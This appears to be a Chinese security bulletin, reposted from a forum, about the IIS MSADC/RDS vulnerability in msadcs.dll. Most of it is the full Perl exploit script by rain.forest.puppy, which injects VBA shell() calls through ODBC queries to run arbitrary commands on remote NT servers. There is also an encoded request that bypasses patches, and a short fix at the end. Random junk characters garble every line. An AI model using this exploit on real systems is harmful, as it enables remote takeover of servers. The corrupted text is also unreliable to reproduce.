IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
y \z > /q O n%,l 涉及程序：
)E-E0Hl>7 Microsoft NT server
YxyG\J \|, ANb"oX c 描述：
n_P(k-^U* 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
}p{;^B a.,i.2 详细：
G=c Nzr9 如果你没有时间读详细内容的话，就删除:
f[}|rf c:\Program Files\Common Files\System\Msadc\msadcs.dll
<\ETPL ,< 有关的安全问题就没有了。
1Z 6SI>p !g2 a|g 微软对关于Msadc的问题发了三次以上的补丁，仍然存在问题。
r0Z+ RB^I =YHt9fb$c 1、第一次补丁，基本上，其安全问题是MS Jet 3.5造成的，它允许调用VBA shell()函数，这将允许入侵者远程运行shell指令。
*B{-uc3o 关于利用ODBC远程漏洞的描述，请参看:
v$3_o : TPK @*9rI http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm SUu >6'LN TvM24Orct 2、IIS 4.0的缺省安装设置的是MDAC1.5，这个安装下有一个/msadc/msadcs.dll的文件，也允许通过web远程访问ODBC，获取系统的控制权，这点在很多黑客论坛都讨论过，请参看
Sn ^Aud http://www.microsoft.com/security/bulletins/MS99-025faq.asp j sZY{s= i~8DSsh A 这里不再论述。
rKp1%S1 y ||@?Y 3、如果web目录下的/msadc/msadcs.dll/可以访问，那么ms的任何补丁可能都没用，用类似:
" 5|\X<f lsFfb'> /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
w_3xKnMT\ 的请求，就可以绕过安全机制进行非法的VbBusObj请求，从而达到入侵的目的。 下面的代码仅供测试，严禁用于非法用途，否则后果自负!!!
tBv3~Of. 1i+FL'' r--;yEjWE #将下面这段保存为txt文件，然后: "perl -x 文件名"
B{PLIisc 9P0yv3 #!perl
m}pL`:e! #
/RqhykgZ # MSADC/RDS 'usage' (aka exploit) script
Snx< ]| #
#>bT< # by rain.forest.puppy
X HQh4W3 #
Ut_mrb+W # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
nsl*Dm"*F # beta test and find errors!
9A+M|;O :t5uDKZ_j) use Socket; use Getopt::Std;
7}o6_i getopts("e:vd:h:XR", \%args);
:l`i4kx !qaDn.9 print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
{+\'bIV[ Fx5ZwT
t if (!defined $args{h} && !defined $args{R}) {
}P. K2ku print qq~
ph#efY`a: Usage: msadc.pl -h <host> { -d <delay> -X -v }
nuxd S , -h <host> = host you want to scan (ip or domain)
I%i:)6Un-y -d <seconds> = delay between calls, default 1 second
j6og3.H- -X = dump Index Server path table, if available
PY -+ Bf -v = verbose
PI63RH8e -e = external dictionary file for step 5
H
pFb{
0Ve%.k Or a -R will resume a command session
%YCd%lAe, VF= Z` ~; exit;}
<`+zvUx^? f?0D%pxc}& $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
1 7i$8 if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
y;:]F|%< if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
((cb4IX if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
6Hn)pD#U $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
lC2?sD$ if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
P}l#VJWp _uJVuCc if (!defined $args{R}){ $ret = &has_msadc;
>HIt}Zh die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
ZOn_dYjC J | q^+K print "Please type the NT commandline you want to run (cmd /c assumed):\n"
B kV(81"C . "cmd /c ";
xKb"p4k9d $in=<STDIN>; chomp $in;
H|K("AVP: $command="cmd /c " . $in ;
[ze/@29 Y'JL (~ | if (defined $args{R}) {&load; exit;}
pZ\$50t&O \gd6Yx^[ print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
Xy!&^C` J` &try_btcustmr;
quRPg) `VXZ kh m print "\nStep 2: Trying to make our own DSN...";
- `4Ty*K &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
E NyAF%6 8 ?" Z e( print "\nStep 3: Trying known DSNs...";
_4!{IdR &known_dsn;
&SrGh$:X UM`nq;> print "\nStep 4: Trying known .mdbs...";
X(b 1/lzA &known_mdb;
ig$jKou
F x5PPu/ if (defined $args{e}){
Gql`>~ print "\nStep 5: Trying dictionary of DSN names...";
tIp{},bQ^ &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
<N-=fad] wI>h%y-%! print "Sorry Charley...maybe next time?\n";
gWi{\x8dt exit;
Ge0Lb+<G =1/q)b ,p) ##############################################################################
zv@bI~3~ U3N(cFXn sub sendraw { # ripped and modded from whisker
u{P~zyx sleep($delay); # it's a DoS on the server! At least on mine...
,02w@we5 my ($pstr)=@_;
fa yKM socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
[G=:?J,P die("Socket problems\n");
5y}BCY 2=/ if(connect(S,pack "SnA4x8",2,80,$target)){
wn1,
EhHt select(S); $|=1;
NhC Av + print $pstr; my @in=<S>;
s,kU*kH n select(STDOUT); close(S);
}\VX^{ K j return @in;
Vq U|kv
} else { die("Can't connect...\n"); }}
*.3y2m,bZ 7O9n!aJ ##############################################################################
;b| '{CWanTPi sub make_header { # make the HTTP request
`{ <JC{yc? my $msadc=<<EOT
qS| Adk NL POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
E#a ZvE User-Agent: ACTIVEDATA
=R2l3-HA= Host: $ip
DU`v J2 Content-Length: $clen
)6 k1 P Connection: Keep-Alive
R|-j]Ne V p H|R ADCClientVersion:01.06
`$M
etQ Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
mV%h[~- ]Ly8s#<g]N --!ADM!ROX!YOUR!WORLD!
Pf k{ =y Content-Type: application/x-varg
N"K\ick6J Content-Length: $reqlen
Qhe DF7'z p&uCp7]U EOT
a-:pJE.'p ; $msadc=~s/\n/\r\n/g;
716 hpj#* return $msadc;}
OiF ]_" q}e]*]dJZ ##############################################################################
+xq=<jy 9GE]<v,_[ sub make_req { # make the RDS request
d9|T=R my ($switch, $p1, $p2)=@_;
ve~C`2=; my $req=""; my $t1, $t2, $query, $dsn;
P|8e%P qJURPK if ($switch==1){ # this is the btcustmr.mdb query
v?}pi $query="Select * from Customers where City=" . make_shell();
}|,EU!nDi $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
.X ^43
q $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
9j2\y=<& `T`c@A elsif ($switch==2){ # this is general make table query
/xJY7yF $query="create table AZZ (B int, C varchar(10))";
Uqr{,-]5v $dsn="$p1";}
Q<C@KBiVE | 4 `.#4 elsif ($switch==3){ # this is general exploit table query
g/!Otgfu $query="select * from AZZ where C=" . make_shell();
ff[C' $dsn="$p1";}
j 37: ~n8F7 elsif ($switch==4){ # attempt to hork file info from index server
VD9J}bgJ $query="select path from scope()";
cT I,1U $dsn="Provider=MSIDXS;";}
/XN*)m n-W?Z'H{r elsif ($switch==5){ # bad query
[{?;c+[ $query="select";
* n,UOHlO $dsn="$p1";}
J(^
>?d' 69rwX"^ $t1= make_unicode($query);
F46O!xb% $t2= make_unicode($dsn);
v2 3TL $req = "\x02\x00\x03\x00";
7pd$?=__I $req.= "\x08\x00" . pack ("S1", length($t1));
sb 8dc $req.= "\x00\x00" . $t1 ;
j KYm /}d $req.= "\x08\x00" . pack ("S1", length($t2));
BjN{@ aEO $req.= "\x00\x00" . $t2 ;
6Z$b?A3zM $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
V.U|OQ ouT return $req;}
y6 bjJ} Ty.drM ##############################################################################
}\U0[x#q 5qeT4|
Ol sub make_shell { # this makes the shell() statement
pL%4= ]m return "'|shell(\"$command\")|'";}
}0vtc [! |KTpK(6p ##############################################################################
nwh m[AaNs FRc |D sub make_unicode { # quick little function to convert to unicode
8dl Inms my ($in)=@_; my $out;
aK!xRnY for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
]yw_n^@ return $out;}
`9:v*KuM#R xTGP ##############################################################################
s !NisF
`I@)<d sub rdo_success { # checks for RDO return success (this is kludge)
{rs6"X ^ my (@in) = @_; my $base=content_start(@in);
JE /l#Q! if($in[$base]=~/multipart\/mixed/){
O3!Ouh& return 1 if( $in[$base+10]=~/^\x09\x00/ );}
zo/0b/lQ return 0;}
oc q2 p?_'|#tz ##############################################################################
Y7*'QKz2 9&&kgKKGQ sub make_dsn { # this makes a DSN for us
m)(SG my @drives=("c","d","e","f");
LciL/? print "\nMaking DSN: ";
C5BzWgK foreach $drive (@drives) {
G#^m<G^M print "$drive: ";
an pJAB:1 my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
7= L:m7T "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
-`,~9y;tx . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
C:Wt CAm ( $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
>aX:gN return 0 if $2 eq "404"; # not found/doesn't exist
3KDu!w@ if($2 eq "200") {
>t2]Ssi( foreach $line (@results) {
{6-;P#Q0_ return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
,HQ 1C8 } return 0;}
^u= PdBY 2LtU;}7s ##############################################################################
X
S6]C{ 6JUav ."`~ sub verify_exists {
3we.*\2$ my ($page)=@_;
jq7vOr-_g my @results=sendraw("GET $page HTTP/1.0\n\n");
z<FV1 niE return $results[0];}
^)(G(=-Rf e? _c[`sg ##############################################################################
.ruqRGe/ cC7"J\+r* sub try_btcustmr {
FZM
]o my @drives=("c","d","e","f");
"cIGNTLFA my @dirs=("winnt","winnt35","winnt351","win","windows");
mjWp8i
^A:!ni@3 foreach $dir (@dirs) {
[_B+DD=} print "$dir -> "; # fun status so you can see progress
eUz U] 6h foreach $drive (@drives) {
&C
CHxjsKR print "$drive: "; # ditto
L3-<K op $reqlen=length( make_req(1,$drive,$dir) ) - 28;
1v> $reqlenlen=length( "$reqlen" );
W HZe)|n $clen= 206 + $reqlenlen + $reqlen;
Y8x(#qp, hWl""66+5 my @results=sendraw(make_header() . make_req(1,$drive,$dir));
K7)j if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
z pB Bnlq else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
!"Z. "fm* MoC*tImWR ##############################################################################
& y#y>([~ 9_g>BI;"8 sub odbc_error {
-wPuml!hZ| my (@in)=@_; my $base;
S7@ZtFf my $base = content_start(@in);
|JirBz if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
DQL06`pX/ $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
AAeQ- nbP $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
Dx p > $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
}rFsU\]:q return $in[$base+4].$in[$base+5].$in[$base+6];}
i{ %z print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
?,A}E|jZ print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
I {i:B $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
D5o+ 0R 03i?"M vNo ##############################################################################
6Cop#kW# n"K {uj)) sub verbose {
8=ukS_?Vy my ($in)=@_;
k)<~nc - return if !$verbose;
b/a? \0^ print STDOUT "\n$in\n";}
UKt/ 0Ze F^/~@^{P ##############################################################################
gxBl1 o|b[(t$;O sub save {
B^Rw?: hN my ($p1, $p2, $p3, $p4)=@_;
$1Q 3Y'Q9 open(OUT, ">rds.save") || print "Problem saving parameters...\n";
$9j>VGf= print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
n1k$)S$iiy close OUT;}
< -@, nr<}Hc^f- ##############################################################################
M]%!n3Fb PV Q#>_~5 sub load {
A?6{ my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
/ h 2*$ open(IN,"<rds.save") || die("Couldn't open rds.save\n");
Ivd[U`=Q @p=<IN>; close(IN);
/ze_{{o $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
rFt ,36 # $target= inet_aton($ip) || die("inet_aton problems");
@w.b | print "Resuming to $ip ...";
;f\R$u- $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
!ch[I#&J- if($p[1]==1) {
Vsm%h^]d $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
"63zc 1 $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
q\z=z$VR my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
v4Fnh`{ if (rdo_success(@results)){print "Success!\n";}
79< 9}<T else { print "failed\n"; verbose(odbc_error(@results));}}
&VZmP5Gv elsif ($p[1]==3){
!h`cXY~ w if(run_query("$p[3]")){
_{F dw print "Success!\n";} else { print "failed\n"; }}
K~fDv i elsif ($p[1]==4){
s%S_K if(run_query($drvst . "$p[3]")){
\(
Gf+ print "Success!\n"; } else { print "failed\n"; }}
],fwZd[t exit;}
Uy_}@50"l LB64W ;#h ##############################################################################
P?3YHa^up V5(tf' sub create_table {
5~ kW-x my ($in)=@_;
7E\K!v _ $reqlen=length( make_req(2,$in,"") ) - 28;
jl 30\M7 $reqlenlen=length( "$reqlen" );
q~:'R $clen= 206 + $reqlenlen + $reqlen;
mBD!:V' my @results=sendraw(make_header() . make_req(2,$in,""));
mPw56> return 1 if rdo_success(@results);
6 qHvq
A, my $temp= odbc_error(@results); verbose($temp);
"0!eb3n return 1 if $temp=~/Table 'AZZ' already exists/;
l/y
Kc8^< return 0;}
4%#V^??E 5 ,=B1 ##############################################################################
an[3vKb R"\u b"] sub known_dsn {
B'lxlYV1 # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
.9[8H:Fe my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
# ZYid t "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
dg'CHxU "banner", "banners", "ads", "ADCDemo", "ADCTest");
%gne%9nn 'nj&}A' foreach $dSn (@dsns) {
fjK]m.w print ".";
] B-$p p next if (!is_access("DSN=$dSn"));
.$ P2W0G if(create_table("DSN=$dSn")){
Mh-*5Rx print "$dSn successful\n";
J}Z_.:JO(w if(run_query("DSN=$dSn")){
rz%[o,s print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
A a F5` print "Something's borked. Use verbose next time\n";}}} print "\n";}
kgbr+Yw2X YCL D!S/? ##############################################################################
Z%HEn$t lJz?QI1 sub is_access {
YVg}q#
my ($in)=@_;
Dry ;$C}P $reqlen=length( make_req(5,$in,"") ) - 28;
Oa_o"p<Lr $reqlenlen=length( "$reqlen" );
-<}>YtB
Q $clen= 206 + $reqlenlen + $reqlen;
G+QNg .pH my @results=sendraw(make_header() . make_req(5,$in,""));
<*6y`X my $temp= odbc_error(@results);
MTFVnoZMQ_ verbose($temp); return 1 if ($temp=~/Microsoft Access/);
~X T
a= return 0;}
}5Tyz i( mSfkyw. ##############################################################################
a@a1TpLQ %\z COfN sub run_query {
{p lmFV my ($in)=@_;
Q\/":ISq1 $reqlen=length( make_req(3,$in,"") ) - 28;
V[M $o $reqlenlen=length( "$reqlen" );
=ZJ?xA8 $clen= 206 + $reqlenlen + $reqlen;
U~B}vt my @results=sendraw(make_header() . make_req(3,$in,""));
>!v,` O1 return 1 if rdo_success(@results);
g#KToOP my $temp= odbc_error(@results); verbose($temp);
$e t
: return 0;}
@,>=X:7 (=3& 8$ ##############################################################################
xf F&$K" X%R^)zKV sub known_mdb {
Qig!NgOM my @drives=("c","d","e","f","g");
YV _I-l0 my @dirs=("winnt","winnt35","winnt351","win","windows");
C[<\ufclD my $dir, $drive, $mdb;
N mjBJ_ G my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
^D> M Dj6 5z(>4 d! # this is sparse, because I don't know of many
.X=M ! my @sysmdbs=( "\\catroot\\icatalog.mdb",
B+q+)O+ "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
!y2h`ZAZ "\\system32\\certmdb.mdb",
d `q)^ "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
$> r fAs! XX5(/# my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
+n. j.JP"X "\\cfusion\\cfapps\\forums\\forums_.mdb",
4[V6so 0 "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
l<MCmKuYp "\\cfusion\\cfapps\\security\\realm_.mdb",
hb8@br "\\cfusion\\cfapps\\security\\data\\realm.mdb",
K&P{2Hndr "\\cfusion\\database\\cfexamples.mdb",
*,*:6^t "\\cfusion\\database\\cfsnippets.mdb",
!)*T "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
fz?Wr: I "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
/ wRK[i "\\cfusion\\brighttiger\\database\\cleam.mdb",
;KZ2L~
THG "\\cfusion\\database\\smpolicy.mdb",
kc(b;E A "\\cfusion\\database\cypress.mdb",
PG~m-W+ "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
{arjW3~M: "\\website\\cgi-win\\dbsample.mdb",
o-i.'L)X "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
g :e8i~ "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
K| J#/ ); #these are just
@j8L{ FGnN foreach $drive (@drives) {
&7kSLat+9{ foreach $dir (@dirs){
sbiDnRf foreach $mdb (@sysmdbs) {
rJ~(Xu>, s print ".";
Fe2 -;o if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
d?qO`-
~$ print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
$Qc%9p
@i if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
)Jjw}}$}Y print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
pS)X\Xyw } else { print "Something's borked. Use verbose next time\n"; }}}}}
)mZ y>45 3z. >b foreach $drive (@drives) {
bD h(;%= foreach $mdb (@mdbs) {
0c;"bA0>Sx print ".";
cXE y>U|/ if(create_table($drv . $drive . $dir . $mdb)){
( L print "\n" . $drive . $dir . $mdb . " successful\n";
DmpJzH j| if(run_query($drv . $drive . $dir . $mdb)){
] 8cX#N,M print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
+CHO0n } else { print "Something's borked. Use verbose next time\n"; }}}}
F-OZIo }
P>,D$-3 NU\t3JaR ##############################################################################
Uz8C!L ">C x=r6vOj sub hork_idx {
}M l z\'{ print "\nAttempting to dump Index Server tables...\n";
7Qztc?XK print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
LZbHK.G= $reqlen=length( make_req(4,"","") ) - 28;
"'dC>7* < $reqlenlen=length( "$reqlen" );
>t<R6f_Q0 $clen= 206 + $reqlenlen + $reqlen;
6h*bcb#C my @results=sendraw2(make_header() . make_req(4,"",""));
J3J RWy@?P if (rdo_success(@results)){
iQj{J1V my $max=@results; my $c; my %d;
E|}Nj}( * for($c=19; $c<$max; $c++){
j%<@ui u $results[$c]=~s/\x00//g;
3~09)0"!d $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
lxJ.h& "P $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
wDTV /" Y $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
rpI7W?hh $d{"$1$2"}="";}
2Yf; b9-k foreach $c (keys %d){ print "$c\n"; }
%+JTQ y } else {print "Index server doesn't seem to be installed.\n"; }}
EHM 7=|# 2Rp{]s$jo ##############################################################################
AhZ c oz}VMp sub dsn_dict {
]OUOL/J open(IN, "<$args{e}") || die("Can't open external dictionary\n");
0#nXxkw while(<IN>){
I8>1RXz $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
`\uv+^x{ next if (!is_access("DSN=$dSn"));
pKlT.<X7 if(create_table("DSN=$dSn")){
S|h
m print "$dSn successful\n";
z4UQ:z@ if(run_query("DSN=$dSn")){
vu
\Dx9 print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
@G{DOxE* print "Something's borked. Use verbose next time\n";}}}
|#kf.kN print "\n"; close(IN);}
gV>\lMc[-% i-W2!; G ##############################################################################
+~AI (h 'bO? =+c sub sendraw2 { # ripped and modded from whisker
8LKZ3Y| sleep($delay); # it's a DoS on the server! At least on mine...
lL f01sa4 my ($pstr)=@_;
] /naH#8G socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
J}u1\Id% die("Socket problems\n");
7Zn Q] ?
if(connect(S,pack "SnA4x8",2,80,$target)){
kpUU'7Q print "Connected. Getting data";
a2FIFWvW open(OUT,">raw.out"); my @in;
#i U/Yg! select(S); $|=1; print $pstr;
WU@,1.F: while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
PiQs><FK8 close(OUT); select(STDOUT); close(S); return @in;
hfc!M2/w } else { die("Can't connect...\n"); }}
@Ec9Do> P
&._ - [ ##############################################################################
wd 0A CF WS wmX 3rn sub content_start { # this will take in the server headers
Vjd
=F.V+ my (@in)=@_; my $c;
' .<"jZ for ($c=1;$c<500;$c++) {
m$: a|'mS if($in[$c] =~/^\x0d\x0a/){
~q>ilnL"h if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
73`UTXvWU else { return $c+1; }}}
n-.k&B{a return -1;} # it should never get here actually
|B.d7@{mM q|2C>{8 ##############################################################################
,DZLEsFM bGa":|}F sub funky {
E6)mBAE my (@in)=@_; my $error=odbc_error(@in);
V lNzm if($error=~/ADO could not find the specified provider/){
Sw )ftC~d print "\nServer returned an ADO miscofiguration message\nAborting.\n";
03;(v % exit;}
/LzNr0> 2 if($error=~/A Handler is required/){
=w >QG{-N print "\nServer has custom handler filters (they most likely are patched)\n";
#pFyb k exit;}
S5!2%-;<k if($error=~/specified Handler has denied Access/){
%>z}P&Yz print "\nServer has custom handler filters (they most likely are patched)\n";
gf>5xf{M exit;}}
; zG|llX o(qmI/h ##############################################################################
"j>0A
Hem \H(,'w7H sub has_msadc {
+[DVD my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
gk` .8o my $base=content_start(@results);
ugP R)tDfM return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
?A>-_B return 0;}
*k$&Hcr$ i9" 1 ########################
_Pal)re]U y_#wR/E)u{ = ByW` 解决方案：
(*]Y<ve 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
Z%=E/xT 2、移除web 目录: /msadc
